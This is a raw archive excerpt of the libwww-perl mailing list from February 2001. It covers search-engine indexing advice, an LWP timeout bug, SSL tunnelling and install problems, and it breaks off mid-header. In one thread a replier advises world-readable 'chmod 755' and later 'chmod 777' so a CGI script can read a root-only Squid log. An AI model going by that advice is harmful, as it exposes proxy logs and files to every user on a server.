X-Mailer: Calypso Version 3.20.01.00 (3)
Date: Tue, 13 Feb 2001 00:14:07 -0800
Reply-To: sumengen@hotelspectra.com
From: Baris <libwww@hotelspectra.com>
To: libwww@perl.org
Subject: Re: Request For Advice: The Good Indexing Method
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,
- I would go with mysql for storage. It would take care of the indexing job=
 for small and simple search engine (Unless you want to crawl one billion=
 web sites).
- When crawling the web with LWP, you will notice that secure web sites=
 (https://) will cause errors unless you have openSSL and Crypt::SSL=
 installed on your server. You can off course just ignore urls with=
 https:// but this is not a full solution because of redirects.
Baris.

*********** REPLY SEPARATOR  ***********

On 14.02.2001 at 00:39 Oyku Gencay wrote:

>Hi John,
>
>Fist of all it is a very good choice to use Perl and LWP for developing a
>search engine. Refering to what you have written it will take almost
>forever
>to crawl with your settings. If you intend to be *polite* you will need a
>large bandwith and be able to use current search engines to *guide* your
>robot.
>
>Generally there is a misconception issue with search engine development.
>The
>crawler part is only at maximum 10% of the whole system. I don't know how
>large you are intending to be but the bottleneck between indexing, storing
>and searching parts is the storage part. It determines the search
>performance and scalability.
>
>There a lots of flavors of indexing and storage schemas each  favoring
>types
>of searches. You should initially identfy your needs. Do not simply say "I
>want multiple keyword with AND boolean searches and phrase search" The
>requirement sometimes affects the crawler design. Actually this is the=
 main
>reason why you cannot build a search engine with out of the box software
>even you may several 100K bucks.
>
>Actualyl what you must know to build a search engine is in dept data
>structure information. The search engine has been a magic art because=
 there
>is not much publicly available source, and search engine companies would
>not
>reveal their (very simple) secrets. But let me give you a clue. Go and
>search for WWW conference proceedings, you'll find invaluable information.
>Also if you know java, check out www.lucene.org its an open source 100%
>java
>search engine developed by chief architect of Excite.
>
>I've been developing commerical large scale search engines for more than 2
>years, and te bottom line is
>1. Perl is a good choice
>2. The secret is the storage :)
>
>Hope this helps.
>
>Oyku Gencay
>
>----- Original Message -----
>From: John Indra <john@office.naver.co.id>
>To: <libwww@perl.org>
>Sent: Monday, February 12, 2001 3:44 AM
>Subject: Request For Advice: The Good Indexing Method
>
>
>> Hi all...
>>
>> First of all, please forgive me if this is the wrong group to talk about
>> this subject. But, this has something to do with Perl, and the web, so I
>> think I will take the shot.
>>
>> I am trying to build my own search engine, from scratch, with Perl.
>> Currently I have finished building a robot, using libwww of course.
>>
>> 1. If I want to conform to this: "Build a friendly robot, don't run on
>other
>> web servers, just walk", I set my user agent to hit the remote web=
 server
>> using delay =3D 1 minutes, then my robot is very slow (only one hit per
>> minute). What is the best and efficient way to make my robot still
>confomrs
>> to standard but having a better performance (can do parallel request per
>> minute)?
>>
>> 2. After my robot finishes crawling the web, I need to build an index.
>> Currently what I have in mind is to use B-Tree algorithm. So, after the
>> robot finishes it jobs, then my indexer will start chopping stopwords
>from
>> the document, do some word stemming maybe. Well that's what I currently
>have
>> in mind. Now I am rather confused of what structure is best to store the
>> index information. I am using standard Perl module DB_File. Advices are
>very
>> welcome.
>>
>> I have a weak knowledge in Data Structure and Computer Science, so if=
 you
>> can, please give me some guide of URLs to read if I have to be faced=
 with
>> complex data structure manipulation.
>>
>> Thanks...
>>
>> /john




From mac@ciudadglobal.com.ar Wed Feb 14 07:13:24 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa22119 for <hyper>;
          14 Feb 2001 07:13 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa15002
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 07:12 PST
Received: (qmail 13470 invoked by uid 508); 14 Feb 2001 15:12:46 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 5659 invoked from network); 14 Feb 2001 12:02:25 -0000
From: mac <mac@ciudadglobal.com.ar>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Help...!
Date: Wed, 14 Feb 2001 08:46:58 -0300
Message-ID: <NCBBKDDPILONFPCDBDPGIEOGCNAA.mac@ciudadglobal.com.ar>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

Hello...

A very simple question....
How can i do to get a file that only root user can to access?
I am making a CGI program in order to analize Squid log: "access.log"
But that file is only accesible by root user... And my script (running under
Apache), can´t access it ("Access denied"... ).
There are method or module that allow Perl under Apache change user
permissions  (like Unix "su")...?

Thanks very much! (and sorry by my poor English)

Mac


From cohengil4@hotmail.com Wed Feb 14 08:25:14 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa26075 for <hyper>;
          14 Feb 2001 08:25 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05981
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 08:25 PST
Received: (qmail 5404 invoked by uid 508); 14 Feb 2001 16:25:01 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 5394 invoked from network); 14 Feb 2001 16:25:00 -0000
Received: from f180.law8.hotmail.com (HELO hotmail.com) (216.33.241.180)
  by tmtowtdi.perl.org with SMTP; 14 Feb 2001 16:25:00 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 14 Feb 2001 08:24:34 -0800
Received: from 141.155.23.43 by lw8fd.law8.hotmail.msn.com with HTTP;	Wed, 14 Feb 2001 16:24:34 GMT
X-Originating-IP: [141.155.23.43]
From: gil cohen <cohengil4@hotmail.com>
To: mac@ciudadglobal.com.ar, libwww@perl.org
Subject: Re: Help...!
Date: Wed, 14 Feb 2001 11:24:34 -0500
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F180Xee4fDGCl9FopYC0000c363@hotmail.com>
X-OriginalArrivalTime: 14 Feb 2001 16:24:34.0307 (UTC) FILETIME=[9DD2A530:01C096A2]


chmod 755 /var/log/squid/access.log
that's the best and most secure way to do it
oh, and, by doing that every other user on the system will be able to read 
access.log,


>From: "mac" <mac@ciudadglobal.com.ar>
>To: <libwww@perl.org>
>Subject: Help...!
>Date: Wed, 14 Feb 2001 08:46:58 -0300
>
>Hello...
>
>A very simple question....
>How can i do to get a file that only root user can to access?
>I am making a CGI program in order to analize Squid log: "access.log"
>But that file is only accesible by root user... And my script (running 
>under
>Apache), can´t access it ("Access denied"... ).
>There are method or module that allow Perl under Apache change user
>permissions  (like Unix "su")...?
>
>Thanks very much! (and sorry by my poor English)
>
>Mac
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From cohengil4@hotmail.com Wed Feb 14 08:29:13 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa26372 for <hyper>;
          14 Feb 2001 08:29 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa07113
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 08:29 PST
Received: (qmail 7097 invoked by uid 508); 14 Feb 2001 16:28:58 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 7088 invoked from network); 14 Feb 2001 16:28:58 -0000
Received: from f6.law8.hotmail.com (HELO hotmail.com) (216.33.241.6)
  by tmtowtdi.perl.org with SMTP; 14 Feb 2001 16:28:58 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 14 Feb 2001 08:28:31 -0800
Received: from 141.155.23.43 by lw8fd.law8.hotmail.msn.com with HTTP;	Wed, 14 Feb 2001 16:28:31 GMT
X-Originating-IP: [141.155.23.43]
From: gil cohen <cohengil4@hotmail.com>
To: mac@ciudadglobal.com.ar, libwww@perl.org
Subject: Re: Help...!
Date: Wed, 14 Feb 2001 11:28:31 -0500
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F6JZZJfwTXSRdZqou2V0001574c@hotmail.com>
X-OriginalArrivalTime: 14 Feb 2001 16:28:31.0618 (UTC) FILETIME=[2B456E20:01C096A3]


better solution that a friend just brought up
chown root.www access.log
chmod 750 access.log

where www is the username that apache's running under

>From: "mac" <mac@ciudadglobal.com.ar>
>To: <libwww@perl.org>
>Subject: Help...!
>Date: Wed, 14 Feb 2001 08:46:58 -0300
>
>Hello...
>
>A very simple question....
>How can i do to get a file that only root user can to access?
>I am making a CGI program in order to analize Squid log: "access.log"
>But that file is only accesible by root user... And my script (running 
>under
>Apache), can´t access it ("Access denied"... ).
>There are method or module that allow Perl under Apache change user
>permissions  (like Unix "su")...?
>
>Thanks very much! (and sorry by my poor English)
>
>Mac
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From cohengil4@hotmail.com Wed Feb 14 08:30:37 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa26473 for <hyper>;
          14 Feb 2001 08:30 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa07492
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 08:30 PST
Received: (qmail 8308 invoked by uid 508); 14 Feb 2001 16:30:20 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 8295 invoked from network); 14 Feb 2001 16:30:20 -0000
Received: from f101.law8.hotmail.com (HELO hotmail.com) (216.33.241.101)
  by tmtowtdi.perl.org with SMTP; 14 Feb 2001 16:30:20 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 14 Feb 2001 08:29:54 -0800
Received: from 141.155.23.43 by lw8fd.law8.hotmail.msn.com with HTTP;	Wed, 14 Feb 2001 16:29:53 GMT
X-Originating-IP: [141.155.23.43]
From: gil cohen <cohengil4@hotmail.com>
To: mac@ciudadglobal.com.ar, libwww@perl.org
Subject: Re: Help...!
Date: Wed, 14 Feb 2001 11:29:53 -0500
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F101v60gxapzhad2VqK00000a1d@hotmail.com>
X-OriginalArrivalTime: 14 Feb 2001 16:29:54.0109 (UTC) FILETIME=[5C708ED0:01C096A3]



correction, where www is the GROUP that apache is running under
>From: "mac" <mac@ciudadglobal.com.ar>
>To: <libwww@perl.org>
>Subject: Help...!
>Date: Wed, 14 Feb 2001 08:46:58 -0300
>
>Hello...
>
>A very simple question....
>How can i do to get a file that only root user can to access?
>I am making a CGI program in order to analize Squid log: "access.log"
>But that file is only accesible by root user... And my script (running 
>under
>Apache), can´t access it ("Access denied"... ).
>There are method or module that allow Perl under Apache change user
>permissions  (like Unix "su")...?
>
>Thanks very much! (and sorry by my poor English)
>
>Mac
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From John_Gerrish@dot.state.ak.us Wed Feb 14 09:40:13 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa01893 for <hyper>;
          14 Feb 2001 09:40 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa27455
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 09:40 PST
Received: (qmail 32746 invoked by uid 508); 14 Feb 2001 17:40:01 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 32734 invoked from network); 14 Feb 2001 17:40:00 -0000
Received: from hydra1.dot.state.ak.us (HELO web.dot.state.ak.us) (158.145.110.231)
  by tmtowtdi.perl.org with SMTP; 14 Feb 2001 17:40:00 -0000
Received: from dot.state.ak.us ([158.145.111.44]) by web.dot.state.ak.us
          (Netscape Messaging Server 3.6)  with ESMTP id AAA56AC
          for <libwww@perl.org>; Wed, 14 Feb 2001 08:37:36 -0900
Message-ID: <3A8AC2FB.91306130@dot.state.ak.us>
Date: Wed, 14 Feb 2001 08:40:11 -0900
From: John Gerrish <John_Gerrish@dot.state.ak.us>
Reply-To: John_Gerrish@dot.state.ak.us
Organization: Alaska Marine Highway System
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: libwww@perl.org
Subject: libwww and setting a timeout
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> Subject:         libwww and setting a timeout
>    Date:         Tue, 13 Feb 2001 16:48:31 -0500
>    From:         "Thomas Tatum" <ttatum@koz.com>
>     To:         <libwww@perl.org>
> 
> 
> My name is Thomas Tatum and I am new to this mailing list (hello! - first
> time poster)
>
> I feel there is still an outstanding timeout bug in the libwww library that
> needs addressing.  I think it has been brought up before on the mailing list
----- end clip

Dear Tom,
I would say this could be the same problem I was having.  It is an interaction between MS IIS as a server and Sun Solaris as the OS on a client.  The IIS does not send an end of file/transmission at
the end of a page (randomly) and solaris times-out waiting for it.  References to it can be found on this list during January as:

     Request Post error useragent.pm line 227
 
     Can't call method "request" on an undefined value at ...

     Workaround for LWP/Solaris missing EOF bug

One of which includes this:
No, but I haven't really looked. My sysadmin turned up the following 
relevant thread in comp.unix.solaris... mentions a solaris patch.


http://x76.deja.com/getdoc.xp?AN=690080681&search=thread&CONTEXT=980286220.1420296374&HIT_CONTEXT=980286174.1422524417&HIT_NUM=14&hitnum=0


http://x76.deja.com/getdoc.xp?AN=690191763&search=thread&CONTEXT=980286220.1420296374&HIT_CONTEXT=980286174.1422524417&HIT_NUM=14&hitnum=2

-- 
John Gerrish     RMS3 Application Manager     907-465-8861    fax:2024
                 Alaska Marine Highway System, DOT/PF, State of Alaska
                 3132 Channel Dr, Juneau, AK  99801
Blessed are the flexible for they shall not be bent out of shape.

From na11@daimlerchrysler.com Wed Feb 14 10:57:51 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08564 for <hyper>;
          14 Feb 2001 10:57 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa19970
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 10:57 PST
Received: (qmail 17940 invoked by uid 508); 14 Feb 2001 18:57:39 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 17930 invoked from network); 14 Feb 2001 18:57:38 -0000
Received: from fxshpr06.extra.daimlerchrysler.com (HELO fxshpr06.is.chrysler.com) (firewall-user@208.154.80.165)
  by tmtowtdi.perl.org with SMTP; 14 Feb 2001 18:57:38 -0000
Received: (from uucp@localhost)
	by fxshpr06.is.chrysler.com (8.9.0/8.9.0) id NAA21638
	for <libwww@perl.org>; Wed, 14 Feb 2001 13:53:10 -0500 (EST)
From: na11@daimlerchrysler.com
Received: from nodnsquery(129.9.202.19) by fwshpr06.is.chrysler.com via smap (V5.5)
	id xma021542; Wed, 14 Feb 01 13:53:07 -0500
Received: from sodddg02.wk.dcx.com (lnaodd08-nf0.notes.chrysler.com [129.9.202.113])
	by odmrspr1-pf0.oddc.chrysler.com (8.10.1/8.9.0/daimlerchrysler-relay-1.0-kcd) with ESMTP id f1EIvRW08992
	for <libwww@perl.org>; Wed, 14 Feb 2001 13:57:27 -0500 (EST)
Subject: (SSL) Tunnelling
To: libwww@perl.org
Date: Wed, 14 Feb 2001 13:56:52 -0500
Message-ID: <OFBC790D60.8B9C929B-ON852569F3.0064FE90@wk.dcx.com>
X-MIMETrack: Serialize by Router on sodddg02.wk.dcx.com/Server/Prod/DCX(Release 5.0.6 |December
 14, 2000) at 02/14/2001 01:57:27 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Well I just added myself to the libww mailing list yesterday because I
wanted to find out if the module supported (SSL) Tunnelling via the CONNECT
method.
Within 2 hours of adding myself the I got the message below saying that the functionality had been add (wow, that was quick. I'm very impressed :)
My only other question is: is this available for download now or do I need to wait for the next release?

-Norm Ackroyd
na11@daimlerchrysler.com

Sent by:  nobody <nobody@sourceforge.net>
To:  dcw@gcm.com, noreply@sourceforge.net, libwww@perl.org
cc:

Subject:  [Patch #103773] [Bug #127315] HTTPS through proxy via CONNECT


Patch #103773 has been updated.

Project: libwww-perl
Category: None
Status: Open
Submitted by: worenklein
Assigned to : nobody
Summary: [Bug #127315] HTTPS through proxy via CONNECT

-------------------------------------------------------
For more info, visit:

http://sourceforge.net/patch/?func=detailpatch&patch_id=103773&group_id=14630


From cohengil4@hotmail.com Wed Feb 14 11:11:31 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09880 for <hyper>;
          14 Feb 2001 11:11 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa23907
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 11:11 PST
Received: (qmail 20236 invoked by uid 508); 14 Feb 2001 19:11:20 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 20227 invoked from network); 14 Feb 2001 19:11:19 -0000
Received: from f306.law8.hotmail.com (HELO hotmail.com) (216.33.240.181)
  by tmtowtdi.perl.org with SMTP; 14 Feb 2001 19:11:19 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 14 Feb 2001 11:10:53 -0800
Received: from 141.155.23.43 by lw8fd.law8.hotmail.msn.com with HTTP;	Wed, 14 Feb 2001 19:10:53 GMT
X-Originating-IP: [141.155.23.43]
From: gil cohen <cohengil4@hotmail.com>
To: mac@ciudadglobal.com.ar, libwww@perl.org
Subject: RE: Help...!
Date: Wed, 14 Feb 2001 14:10:53 -0500
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F306wWpSWerOc0Ne0Pa0000c736@hotmail.com>
X-OriginalArrivalTime: 14 Feb 2001 19:10:53.0292 (UTC) FILETIME=[D9C2EAC0:01C096B9]

well, you not only have to chmod 755 the log, you also would have to have 
access.log in /home/mac to be able to written by anyone. the easiest way to 
do this is to touch it, then chmod 777 it.

to do all that user changing stuff is insane, there's no need for it.
>From: "mac" <mac@ciudadglobal.com.ar>
>To: <libwww@perl.org>
>CC: "gil cohen" <cohengil4@hotmail.com>
>Subject: RE: Help...!
>Date: Wed, 14 Feb 2001 14:45:57 -0300
>
>Thanks Gil...!
>
>But my problem is exactly:
>
>The file /var/log/squid/access.log is only root accesible
>perl script as nobody.
>
>the Perl script must:
>  - connect to system and change user from nobody to root
>  - copy file from /var/log/squid/access.log to /home/mac/access.log
>  - change user from root to nobody
>
>Is this possible?
>I have must use Shell module?... and in this case... where i can to get 
>info
>about Shell module?
>
>THANKS again...!
>
>
>-----Mensaje original-----
>De: gil cohen [mailto:cohengil4@hotmail.com]
>Enviado el: Miércoles, 14 de Febrero de 2001 01:25 p.m.
>Para: mac@ciudadglobal.com.ar; libwww@perl.org
>Asunto: Re: Help...!
>
>
>
>chmod 755 /var/log/squid/access.log
>that's the best and most secure way to do it
>oh, and, by doing that every other user on the system will be able to read
>access.log,
>
>
> >From: "mac" <mac@ciudadglobal.com.ar>
> >To: <libwww@perl.org>
> >Subject: Help...!
> >Date: Wed, 14 Feb 2001 08:46:58 -0300
> >
> >Hello...
> >
> >A very simple question....
> >How can i do to get a file that only root user can to access?
> >I am making a CGI program in order to analize Squid log: "access.log"
> >But that file is only accesible by root user... And my script (running
> >under
> >Apache), can´t access it ("Access denied"... ).
> >There are method or module that allow Perl under Apache change user
> >permissions  (like Unix "su")...?
> >
> >Thanks very much! (and sorry by my poor English)
> >
> >Mac
> >
>
>_________________________________________________________________
>Get your FREE download of MSN Explorer at http://explorer.msn.com
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From mac@ciudadglobal.com.ar Wed Feb 14 11:34:16 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa12008 for <hyper>;
          14 Feb 2001 11:34 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa00565
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 11:34 PST
Received: (qmail 24254 invoked by uid 508); 14 Feb 2001 19:34:04 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 3955 invoked from network); 14 Feb 2001 18:01:44 -0000
From: mac <mac@ciudadglobal.com.ar>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Cc: gil cohen <cohengil4@hotmail.com>
Subject: RE: Help...!
Date: Wed, 14 Feb 2001 14:45:57 -0300
Message-ID: <NCBBKDDPILONFPCDBDPGEEOJCNAA.mac@ciudadglobal.com.ar>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <F180Xee4fDGCl9FopYC0000c363@hotmail.com>

Thanks Gil...!

But my problem is exactly:

The file /var/log/squid/access.log is only root accesible
perl script as nobody.

the Perl script must:
 - connect to system and change user from nobody to root
 - copy file from /var/log/squid/access.log to /home/mac/access.log
 - change user from root to nobody

Is this possible?
I have must use Shell module?... and in this case... where i can to get info
about Shell module?

THANKS again...!


-----Mensaje original-----
De: gil cohen [mailto:cohengil4@hotmail.com]
Enviado el: Miércoles, 14 de Febrero de 2001 01:25 p.m.
Para: mac@ciudadglobal.com.ar; libwww@perl.org
Asunto: Re: Help...!



chmod 755 /var/log/squid/access.log
that's the best and most secure way to do it
oh, and, by doing that every other user on the system will be able to read
access.log,


>From: "mac" <mac@ciudadglobal.com.ar>
>To: <libwww@perl.org>
>Subject: Help...!
>Date: Wed, 14 Feb 2001 08:46:58 -0300
>
>Hello...
>
>A very simple question....
>How can i do to get a file that only root user can to access?
>I am making a CGI program in order to analize Squid log: "access.log"
>But that file is only accesible by root user... And my script (running
>under
>Apache), can´t access it ("Access denied"... ).
>There are method or module that allow Perl under Apache change user
>permissions  (like Unix "su")...?
>
>Thanks very much! (and sorry by my poor English)
>
>Mac
>

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From michaelz@ereo.com Wed Feb 14 14:29:38 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa29088 for <hyper>;
          14 Feb 2001 14:29 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa22215
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 14 Feb 2001 14:29 PST
Received: (qmail 22543 invoked by uid 508); 14 Feb 2001 22:29:18 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 11267 invoked from network); 14 Feb 2001 21:01:41 -0000
Message-ID: <3A8AF22B.6060209@ereo.com>
Date: Wed, 14 Feb 2001 14:01:31 -0700
From: Michael Zucker <michaelz@ereo.com>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.12-32smp i686; en-US; m18) Gecko/20001107 Netscape6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: libwww@perl.org
Subject: core dump
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

I've got a program which is using libwww to act as a spider.
Occassionally (but not often), the program will dump core. The core file
hasn't been much help. I've searched the archives for this list and the
only thread I found on core dumps was during installation. Is there any
other known reason libwww could dump core?

Please respond to me as I'm not on the alias.

Thanks in advance,
Michael


From john@pickaprof.com Thu Feb 15 00:55:03 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11497 for <hyper>;
          15 Feb 2001 00:55 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa26562
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 15 Feb 2001 00:54 PST
Received: (qmail 19069 invoked by uid 508); 15 Feb 2001 08:54:18 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 19060 invoked from network); 15 Feb 2001 08:54:17 -0000
Received: from sm10.texas.rr.com (24.93.35.222)
  by tmtowtdi.perl.org with SMTP; 15 Feb 2001 08:54:17 -0000
Received: from bigdog (cs2710-176.austin.rr.com [24.27.10.176])
	by sm10.texas.rr.com (8.11.0/8.11.1) with SMTP id f1F8pkQ03114
	for <libwww@perl.org>; Thu, 15 Feb 2001 02:51:46 -0600
From: John W Cunningham <john@pickaprof.com>
To: libwww@perl.org
MMDF-Warning:  Parse error in original version of preceding line at poindexter-relay.ics.uci.edu
Subject: Problems with fresh installation
Date: Thu, 15 Feb 2001 02:51:49 -0600
Message-ID: <BEEOLIJOIOBCOCILGHKIIEIGDAAA.john@pickaprof.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Hello all -->

I put together a fresh Redhat 7 box who's sole purpose will be running Perl
scripts that center around the UserAgent function of libwww.  I attempted a
simple connection and return of source code and it's note responding.  There
is a delay and network activity, but no response.  I tried hitting a page
that sent me an email when it was hit and there was no response, so I don't
know where the hole it.

Is there a chance I installed something wrong?  I grabbed all the prereq
mods from CPAN, and installed everything.  Would it matter where I installed
from?  I put everything in a dir within a user acct.  Where should I install
it?

Thanks for the help,

-John


From Kai.Krebber@ireland.sun.com Fri Feb 16 04:42:32 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa28058 for <hyper>;
          16 Feb 2001 04:42 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa05607
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 16 Feb 2001 04:42 PST
Received: (qmail 24944 invoked by uid 508); 16 Feb 2001 12:41:35 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 24896 invoked from network); 16 Feb 2001 12:41:34 -0000
